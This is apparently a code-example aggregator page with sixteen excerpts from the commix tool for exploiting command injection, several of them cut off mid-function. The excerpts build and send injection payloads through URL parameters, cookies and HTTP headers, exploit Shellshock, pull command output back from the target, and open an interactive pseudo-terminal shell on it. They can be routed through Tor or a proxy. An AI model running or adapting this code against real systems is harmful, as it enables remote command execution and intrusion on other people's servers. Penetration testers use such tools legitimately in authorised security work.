Exemplo n.º 1
0
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url,
              vuln_parameter):

    # Execute shell commands on vulnerable host.
    payload = eb_payloads.cmd_execution(separator, TAG, cmd)
    payload = re.sub(" ", "%20", payload)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
        sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload +
                         Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
        response = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
        response = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
        response = referer_injection_test(url, vuln_parameter, payload)

    else:
        # Check if defined method is GET (Default).
        if http_request_method == "GET":
            # Check if its not specified the 'INJECT_HERE' tag
            url = parameters.do_GET_check(url)

            target = re.sub(settings.INJECT_TAG, payload, url)
            vuln_parameter = ''.join(vuln_parameter)
            request = urllib2.Request(target)

            # Check if defined extra headers.
            headers.do_check(request)

            # Check if defined any HTTP Proxy.
            if menu.options.proxy:
                try:
                    response = proxy.use_proxy(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            # Check if defined Tor.
            elif menu.options.tor:
                try:
                    response = tor.use_tor(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            else:
Exemplo n.º 2
0
def injection_test(payload, http_request_method, url):

    # Check if defined method is GET (Default).
    if http_request_method == "GET":

        # Check if its not specified the 'INJECT_HERE' tag
        url = parameters.do_GET_check(url)

        # Define the vulnerable parameter
        vuln_parameter = parameters.vuln_GET_param(url)
        target = re.sub(settings.INJECT_TAG, payload, url)
        request = urllib2.Request(target)

        # Check if defined extra headers.
        headers.do_check(request)

        # Check if defined any HTTP Proxy.
        if menu.options.proxy:
            try:
                response = proxy.use_proxy(request)
            except urllib2.HTTPError, err:
                print "\n" + Back.RED + "(x) Error: " + str(
                    err) + Style.RESET_ALL
                raise SystemExit()

        # Check if defined Tor.
        elif menu.options.tor:
            try:
                response = tor.use_tor(request)
            except urllib2.HTTPError, err:
                print "\n" + Back.RED + "(x) Error: " + str(
                    err) + Style.RESET_ALL
                raise SystemExit()
Exemplo n.º 3
0
  def check_for_shell(url, cmd, cve, check_header, filename):
    try:

      TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
      cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
      payload = shellshock_exploitation(cve, cmd)
      info_msg = "Executing the '" + cmd + "' command... "
      if settings.VERBOSITY_LEVEL == 1:
        sys.stdout.write("\n" + settings.print_info_msg(info_msg))
      elif settings.VERBOSITY_LEVEL > 1:
        sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
      if settings.VERBOSITY_LEVEL >= 1:
        sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
      header = { check_header : payload }
      request = urllib2.Request(url, None, header)
      log_http_headers.do_check(request)
      log_http_headers.check_http_traffic(request)
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        response = proxy.use_proxy(request)
      # Check if defined Tor.
      elif menu.options.tor:
        response = tor.use_tor(request)
      else:
        response = urllib2.urlopen(request)
      shell = response.read().rstrip().replace('\n',' ')
      shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
      shell = ''.join(shell)
      return shell, payload

    except urllib2.URLError, err_msg:
      print "\n" + settings.print_critical_msg(err_msg)
      sys.exit(0)
Exemplo n.º 4
0
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):

    if alter_shell:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
    else:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution(separator, TAG, cmd)

    if separator == " ":
        payload = re.sub(" ", "%20", payload)
    else:
        payload = re.sub(" ", whitespace, payload)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
        sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
        response = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
        response = user_agent_injection_test(url, vuln_parameter, payload)

    else:
        # Check if defined method is GET (Default).
        if http_request_method == "GET":
            # Check if its not specified the 'INJECT_HERE' tag
            url = parameters.do_GET_check(url)

            target = re.sub(settings.INJECT_TAG, payload, url)
            vuln_parameter = "".join(vuln_parameter)
            request = urllib2.Request(target)

            # Check if defined extra headers.
            headers.do_check(request)

            # Check if defined any HTTP Proxy.
            if menu.options.proxy:
                try:
                    response = proxy.use_proxy(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
                    raise SystemExit()

            # Check if defined Tor.
            elif menu.options.tor:
                try:
                    response = tor.use_tor(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
                    raise SystemExit()

            else:
Exemplo n.º 5
0
def injection_results(url, OUTPUT_TEXTFILE, timesec):
    #Find the directory.
    output = injection_output(url, OUTPUT_TEXTFILE, timesec)
    # Check if defined extra headers.
    request = _urllib.request.Request(output)
    headers.do_check(request)
    headers.check_http_traffic(request)
    # Check if defined any HTTP Proxy (--proxy option).
    if menu.options.proxy:
        response = proxy.use_proxy(request)
    # Check if defined Tor (--tor option).
    elif menu.options.tor:
        response = tor.use_tor(request)
    else:
        response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
    try:
        shell = checks.page_encoding(response,
                                     action="encode").rstrip().lstrip()
        #shell = [newline.replace("\n"," ") for newline in shell]
        if settings.TARGET_OS == "win":
            shell = [newline.replace("\r", "") for newline in shell]
            #shell = [space.strip() for space in shell]
            shell = [empty for empty in shell if empty]
    except _urllib.error.HTTPError as e:
        if str(e.getcode()) == settings.NOT_FOUND_ERROR:
            shell = ""
    return shell


# eof
Exemplo n.º 6
0
def injection_test(payload, http_request_method, url):
                      
  # Check if defined method is GET (Default).
  if http_request_method == "GET":
    
    # Check if its not specified the 'INJECT_HERE' tag
    url = parameters.do_GET_check(url)
    
    # Encoding non-ASCII characters payload.
    payload = urllib.quote(payload)
    
    # Define the vulnerable parameter
    vuln_parameter = parameters.vuln_GET_param(url)
    
    target = re.sub(settings.INJECT_TAG, payload, url)
    request = urllib2.Request(target)
    
    # Check if defined extra headers.
    headers.do_check(request)

    # Check if defined any HTTP Proxy.
    if menu.options.proxy:
      try:
        response = proxy.use_proxy(request)
      except urllib2.HTTPError, err:
        print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
        raise SystemExit() 

    # Check if defined Tor.
    elif menu.options.tor:
      try:
        response = tor.use_tor(request)
      except urllib2.HTTPError, err:
        print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
        raise SystemExit() 
Exemplo n.º 7
0
def injection(separator, payload, TAG, cmd, prefix, suffix,
              http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
              alter_shell):

    # Execute shell commands on vulnerable host.
    if alter_shell:
        payload = fb_payloads.cmd_execution_alter_shell(
            separator, cmd, OUTPUT_TEXTFILE)
    else:
        payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
        sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") +
                         Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
        response = cookie_injection_test(url, vuln_parameter, payload)

    else:
        # Check if defined method is GET (Default).
        if http_request_method == "GET":
            # Check if its not specified the 'INJECT_HERE' tag
            url = parameters.do_GET_check(url)

            # Encoding non-ASCII characters payload.
            payload = urllib.quote(payload)

            target = re.sub(settings.INJECT_TAG, payload, url)
            vuln_parameter = ''.join(vuln_parameter)
            request = urllib2.Request(target)

            # Check if defined extra headers.
            headers.do_check(request)

            # Check if defined any HTTP Proxy.
            if menu.options.proxy:
                try:
                    response = proxy.use_proxy(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error : " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            # Check if defined Tor.
            elif menu.options.tor:
                try:
                    response = tor.use_tor(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error : " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            else:
Exemplo n.º 8
0
def injection(separator, TAG, cmd, prefix, suffix, whitespace,
              http_request_method, url, vuln_parameter, alter_shell):

    if alter_shell:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
    else:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution(separator, TAG, cmd)

    if separator == " ":
        payload = re.sub(" ", "%20", payload)
    else:
        payload = re.sub(" ", whitespace, payload)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
        sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
        response = cookie_injection_test(url, vuln_parameter, payload)

    else:
        # Check if defined method is GET (Default).
        if http_request_method == "GET":
            # Check if its not specified the 'INJECT_HERE' tag
            url = parameters.do_GET_check(url)

            target = re.sub(settings.INJECT_TAG, payload, url)
            vuln_parameter = ''.join(vuln_parameter)
            request = urllib2.Request(target)

            # Check if defined extra headers.
            headers.do_check(request)

            # Check if defined any HTTP Proxy.
            if menu.options.proxy:
                try:
                    response = proxy.use_proxy(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error : " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            # Check if defined Tor.
            elif menu.options.tor:
                try:
                    response = tor.use_tor(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error : " + str(
                        err) + Style.RESET_ALL
                    raise SystemExit()

            else:
Exemplo n.º 9
0
def examine_request(request):
    try:
        headers.check_http_traffic(request)
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
            return proxy.use_proxy(request)
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
            return tor.use_tor(request)
        else:
            try:
                return urllib2.urlopen(request)
            except SocketError as e:
                if e.errno == errno.ECONNRESET:
                    error_msg = "Connection reset by peer."
                    print settings.print_critical_msg(error_msg)
                    raise SystemExit()
            except ValueError:
                # Invalid format for the '--header' option.
                if settings.VERBOSITY_LEVEL < 2:
                    print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
                err_msg += "to provide an extra HTTP header or"
                err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' "
                err_msg += "if you want to try to exploit the provided HTTP header."
                print settings.print_critical_msg(err_msg)
                raise SystemExit()
            except Exception as err_msg:
                if "Unauthorized" in str(err_msg):
                    if menu.options.ignore_401:
                        pass
                    elif menu.options.auth_type and menu.options.auth_cred:
                        err_msg = "The provided pair of " + menu.options.auth_type
                        err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
                        err_msg += " seems to be invalid."
                        print settings.print_critical_msg(err_msg)
                        raise SystemExit()
                else:
                    try:
                        error_msg = str(err_msg.args[0]).split("] ")[1] + "."
                    except IndexError:
                        error_msg = str(err_msg).replace(": ", " (") + ")."
                    print settings.print_critical_msg(error_msg)
                    raise SystemExit()

    except urllib2.HTTPError, err_msg:
        error_description = ""
        if len(str(err_msg).split(": ")[1]) == 0:
            error_description = "Non-standard HTTP status code"
        err_msg = str(err_msg).replace(": ", " (") + error_description + ")."
        if menu.options.bulkfile:
            warn_msg = "Skipping URL '" + url + "' - " + err_msg
            print settings.print_warning_msg(warn_msg)
            if settings.EOF:
                print ""
            return False
        else:
            print settings.print_critical_msg(err_msg)
            raise SystemExit
Exemplo n.º 10
0
def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  
  # Execute shell commands on vulnerable host.
  if alter_shell :
    payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) 
  else:
    payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) 

  # Fix prefixes / suffixes
  payload = parameters.prefixes(payload, prefix)
  payload = parameters.suffixes(payload, suffix)
      
  # Check if defined "--verbose" option.
  if menu.options.verbose:
    sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
  
  # Check if defined cookie with "INJECT_HERE" tag
  if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
    response = cookie_injection_test(url, vuln_parameter, payload)

  # Check if defined user-agent with "INJECT_HERE" tag
  elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
    response = user_agent_injection_test(url, vuln_parameter, payload)
    
  else:
    # Check if defined method is GET (Default).
    if http_request_method == "GET":
      # Check if its not specified the 'INJECT_HERE' tag
      url = parameters.do_GET_check(url)
      
      # Encoding non-ASCII characters payload.
      payload = urllib.quote(payload)
      
      target = re.sub(settings.INJECT_TAG, payload, url)
      vuln_parameter = ''.join(vuln_parameter)
      request = urllib2.Request(target)
      
      # Check if defined extra headers.
      headers.do_check(request)        
        
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        try:
          response = proxy.use_proxy(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      # Check if defined Tor.
      elif menu.options.tor:
        try:
          response = tor.use_tor(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      else:
Exemplo n.º 11
0
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter):
  
  # Execute shell commands on vulnerable host.
  payload = eb_payloads.cmd_execution(separator, TAG, cmd)
  payload = re.sub(" ", "%20", payload)

  # Check if defined "--prefix" option.
  if menu.options.prefix:
    prefix = menu.options.prefix
    payload = prefix + payload
  else:
    payload = prefix + payload
    
  # Check if defined "--suffix" option.
  if menu.options.suffix:
    suffix = menu.options.suffix
    payload = payload + suffix
  else:
    payload = payload + suffix
      
  # Check if defined "--verbose" option.
  if menu.options.verbose:
    sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
    
  # Check if defined method is GET (Default).
  if http_request_method == "GET":
    # Check if its not specified the 'INJECT_HERE' tag
    url = parameters.do_GET_check(url)
    
    target = re.sub(settings.INJECT_TAG, payload, url)
    vuln_parameter = ''.join(vuln_parameter)
    request = urllib2.Request(target)
    
    # Check if defined extra headers.
    headers.do_check(request)        
      
    # Check if defined any HTTP Proxy.
    if menu.options.proxy:
      try:
        response = proxy.use_proxy(request)
      except urllib2.HTTPError, err:
        print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
        raise SystemExit() 

    # Check if defined Tor.
    elif menu.options.tor:
      try:
        response = tor.use_tor(request)
      except urllib2.HTTPError, err:
        print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
        raise SystemExit() 
Exemplo n.º 12
0
  def check_for_shell(url, cmd, cve, check_header, filename):
    try:

      TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
      cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
      payload = shellshock_exploitation(cve, cmd)
      info_msg = "Executing the '" + cmd + "' command... "
      if settings.VERBOSITY_LEVEL == 1:
        sys.stdout.write(settings.print_info_msg(info_msg))
      elif settings.VERBOSITY_LEVEL > 1:
        sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
      if settings.VERBOSITY_LEVEL >= 1:
        sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")

      header = {check_header : payload}
      request = urllib2.Request(url, None, header)
      if check_header == "User-Agent":
        menu.options.agent = payload
      else:
        menu.options.agent = default_user_agent
      log_http_headers.do_check(request)
      log_http_headers.check_http_traffic(request)
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        response = proxy.use_proxy(request)
      # Check if defined Tor.
      elif menu.options.tor:
        response = tor.use_tor(request)
      else:
        response = urllib2.urlopen(request)
      shell = response.read().rstrip().replace('\n',' ')
      shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
      shell = ''.join(shell)
      return shell, payload

    except urllib2.URLError, err_msg:
      print "\n" + settings.print_critical_msg(err_msg)
      raise SystemExit()
Exemplo n.º 13
0
Arquivo: commix.py Projeto: l50/commix
def examine_request(request):
  try:
    headers.check_http_traffic(request)
    # Check if defined any HTTP Proxy (--proxy option).
    if menu.options.proxy:
      response = proxy.use_proxy(request)
    # Check if defined Tor (--tor option).  
    elif menu.options.tor:
      response = tor.use_tor(request)
    else:
      try:
        response = urllib2.urlopen(request)
      except ValueError:
        # Invalid format for the '--header' option.
        if settings.VERBOSITY_LEVEL < 2:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
        err_msg += "to provide an extra HTTP header or"
        err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR  + "\"' "
        err_msg += "if you want to try to exploit the provided HTTP header."
        print settings.print_critical_msg(err_msg)
        sys.exit(0)
    return response

  except urllib2.HTTPError, err_msg:
    error_description = ""
    if len(str(err_msg).split(": ")[1]) == 0:
      error_description = "Non-standard HTTP status code" 
    err_msg = str(err_msg).replace(": "," (") + error_description + ")." 
    if menu.options.bulkfile:
      warn_msg = "Skipping URL '" + url + "' - " + err_msg
      print settings.print_warning_msg(warn_msg)
      if settings.EOF:
        print "" 
      return False  
    else:
      print settings.print_critical_msg(err_msg)
      raise SystemExit 
Exemplo n.º 14
0
  def check_for_shell(url, cmd, cve, check_header, filename):
    try:

      TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
      cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
      payload = shellshock_exploitation(cve, cmd)
      debug_msg = "Executing the '" + cmd + "' command. "
      if settings.VERBOSITY_LEVEL != 0:
        sys.stdout.write(settings.print_debug_msg(debug_msg))
      sys.stdout.flush()
      if settings.VERBOSITY_LEVEL != 0:
        sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")

      header = {check_header : payload}
      request = _urllib.request.Request(url, None, header)
      if check_header == "User-Agent":
        menu.options.agent = payload
      else:
        menu.options.agent = default_user_agent
      log_http_headers.do_check(request)
      log_http_headers.check_http_traffic(request)
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        response = proxy.use_proxy(request)
      # Check if defined Tor.
      elif menu.options.tor:
        response = tor.use_tor(request)
      else:
        response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
      shell = response.read().decode(settings.UNICODE_ENCODING).rstrip().replace('\n',' ')
      shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
      shell = ''.join(shell)
      return shell, payload

    except _urllib.error.URLError as err_msg:
      print("\n" + settings.print_critical_msg(err_msg))
      raise SystemExit()
Exemplo n.º 15
0
def shellshock_handler(url, http_request_method, filename):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False

  injection_type = "results-based command injection"
  technique = "shellshock injection technique"

  info_msg = "Testing the " + technique + "... "
  if settings.VERBOSITY_LEVEL > 1:
    info_msg = info_msg + "\n"
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()

  try: 
    i = 0
    total = len(shellshock_cves) * len(headers)
    for cve in shellshock_cves:
      for check_header in headers:
        # Check injection state
        settings.DETECTION_PHASE = True
        settings.EXPLOITATION_PHASE = False
        i = i + 1
        attack_vector = "echo " + cve + ":Done;"
        payload = shellshock_payloads(cve, attack_vector)

        # Check if defined "--verbose" option.
        if settings.VERBOSITY_LEVEL == 1:
          sys.stdout.write("\n" + settings.print_payload(payload))
        elif settings.VERBOSITY_LEVEL > 1:
          info_msg = "Generating a payload for injection..."
          print settings.print_info_msg(info_msg)
          print settings.print_payload(payload)

        header = {check_header : payload}
        request = urllib2.Request(url, None, header)
        if check_header == "User-Agent":
          menu.options.agent = payload
        else:
          menu.options.agent = default_user_agent  
        log_http_headers.do_check(request)
        log_http_headers.check_http_traffic(request)
        # Check if defined any HTTP Proxy.
        if menu.options.proxy:
          response = proxy.use_proxy(request)
        # Check if defined Tor.
        elif menu.options.tor:
          response = tor.use_tor(request)
        else:
          response = urllib2.urlopen(request)
        percent = ((i*100)/total)
        float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
        
        if str(float_percent) == "100.0":
          if no_result == True:
            percent = Fore.RED + "FAILED" + Style.RESET_ALL
          else:
            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
            no_result = False

        elif len(response.info()) > 0 and cve in response.info():
          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
          no_result = False

        elif len(response.read()) > 0 and cve in response.read():
          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
          no_result = False

        else:
          percent = str(float_percent )+ "%"

        if not settings.VERBOSITY_LEVEL >= 1:
          info_msg = "Testing the " + technique + "... " +  "[ " + percent + " ]"
          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
          sys.stdout.flush()

        if no_result == False:
          # Check injection state
          settings.DETECTION_PHASE = False
          settings.EXPLOITATION_PHASE = True
          # Print the findings to log file.
          if export_injection_info == False:
            export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
          
          vuln_parameter = "HTTP Header"
          the_type = " " + vuln_parameter
          check_header = " " + check_header
          vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
          check_header = check_header[1:]
          logs.update_payload(filename, counter, payload) 

          if settings.VERBOSITY_LEVEL >= 1:
            checks.total_of_requests()

          success_msg = "The (" + check_header + ") '"
          success_msg += url + Style.RESET_ALL + Style.BRIGHT 
          success_msg += "' seems vulnerable via " + technique + "."
          if settings.VERBOSITY_LEVEL <= 1:
            print ""
          print settings.print_success_msg(success_msg)
          print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL

          # Enumeration options.
          if settings.ENUMERATION_DONE == True :
            if settings.VERBOSITY_LEVEL >= 1:
              print ""
            while True:
              if not menu.options.batch:
                question_msg = "Do you want to enumerate again? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                enumerate_again = sys.stdin.readline().replace("\n","").lower()
              else:
                 enumerate_again = "" 
              if len(enumerate_again) == 0:
                 enumerate_again = "y"
              if enumerate_again in settings.CHOICE_YES:
                enumeration(url, cve, check_header, filename)
                break
              elif enumerate_again in settings.CHOICE_NO: 
                break
              elif enumerate_again in settings.CHOICE_QUIT:
                raise SystemExit()
              else:
                err_msg = "'" + enumerate_again + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                pass
          else:
            enumeration(url, cve, check_header, filename)

          # File access options.
          if settings.FILE_ACCESS_DONE == True :
            while True:
              if not menu.options.batch:
                question_msg = "Do you want to access files again? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
              else:
                 file_access_again= "" 
              if len(file_access_again) == 0:
                 file_access_again = "y"
              if file_access_again in settings.CHOICE_YES:
                file_access(url, cve, check_header, filename)
                break
              elif file_access_again in settings.CHOICE_NO: 
                break
              elif file_access_again in settings.CHOICE_QUIT:
                raise SystemExit()
              else:
                err_msg = "'" + file_access_again  + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                pass
          else:
            file_access(url, cve, check_header, filename)

          if menu.options.os_cmd:
            cmd = menu.options.os_cmd 
            shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
            print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL 
            raise SystemExit()

          else:
            # Pseudo-Terminal shell
            print ""
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell= ""  
              if len(gotshell) == 0:
                 gotshell= "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    if not readline_error:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)

                      if go_back:
                        break
                    else: 
                      shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
                      if shell != "":
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        info_msg = "Executing the '" + cmd + "' command... "
                        if settings.VERBOSITY_LEVEL == 1:
                          sys.stdout.write(settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")

                        elif settings.VERBOSITY_LEVEL > 1:
                          sys.stdout.write(settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                  except KeyboardInterrupt:
                    raise

                  except SystemExit:
                    raise

                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise

                  except:
                    info_msg = "Testing the " + technique + "... "
                    if settings.VERBOSITY_LEVEL > 1:
                      info_msg = info_msg + "\n"
                    sys.stdout.write(settings.print_info_msg(info_msg))
                    sys.stdout.flush()
                    break
                    
              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True 

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                continue
              break
        else:
          continue
          
    if no_result and settings.VERBOSITY_LEVEL < 2:
      print ""

  except urllib2.HTTPError, err_msg:
    if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
      response = False  
    elif settings.IGNORE_ERR_MSG == False:
      err = str(err_msg) + "."
      print "\n" + settings.print_critical_msg(err)
      continue_tests = checks.continue_tests(err_msg)
      if continue_tests == True:
        settings.IGNORE_ERR_MSG = True
      else:
        raise SystemExit()
Exemplo n.º 16
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):

  if menu.options.file_write or menu.options.file_upload:
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  sys.stdout.write("\n(*) Retrieving the length of execution output... ")
  sys.stdout.flush()  

  for output_length in range(int(minlen), int(maxlen)):
    
    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
          
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)
      
    # Check if defined "--verbose" option.
    if menu.options.verbose:
      sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)

    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    else:  
      start = 0
      end = 0
      start = time.time()
      
      # Check if defined method is GET (Default).
      if http_request_method == "GET":
        
        payload = urllib.quote(payload)
        
        # Check if its not specified the 'INJECT_HERE' tag
        url = parameters.do_GET_check(url)
        
        target = re.sub(settings.INJECT_TAG, payload, url)
        vuln_parameter = ''.join(vuln_parameter)
        request = urllib2.Request(target)
    
        # Check if defined extra headers.
        headers.do_check(request)
                        
        # Check if defined any HTTP Proxy.
        if menu.options.proxy:
          try:
